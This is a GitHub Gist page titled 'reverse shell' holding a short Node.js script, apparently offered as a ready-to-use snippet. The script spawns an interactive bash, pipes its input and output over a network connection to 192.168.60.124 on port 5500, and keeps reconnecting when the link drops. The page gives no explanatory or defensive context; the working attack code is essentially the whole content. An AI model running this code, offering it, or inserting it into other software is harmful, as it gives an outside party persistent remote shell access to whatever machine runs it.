Skip to content

Instantly share code, notes, and snippets.

@Ch4p34uN0iR
Created November 11, 2017 19:53
Show Gist options
  • Save Ch4p34uN0iR/44dac25e25022e924d0097ea6a3bb058 to your computer and use it in GitHub Desktop.
Save Ch4p34uN0iR/44dac25e25022e924d0097ea6a3bb058 to your computer and use it in GitHub Desktop.
reverse shell
var spawn = require('child_process').spawn;
var net = require('net');
var reconnect = require('reconnect');
reconnect(function (stream) {
var ps = spawn('bash', [ '-i' ]);
stream.pipe(ps.stdin);
ps.stdout.pipe(stream, { end: false });
ps.stderr.pipe(stream, { end: false });
ps.on('exit', function () { stream.end() });
}).connect(5500, '192.168.60.124');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment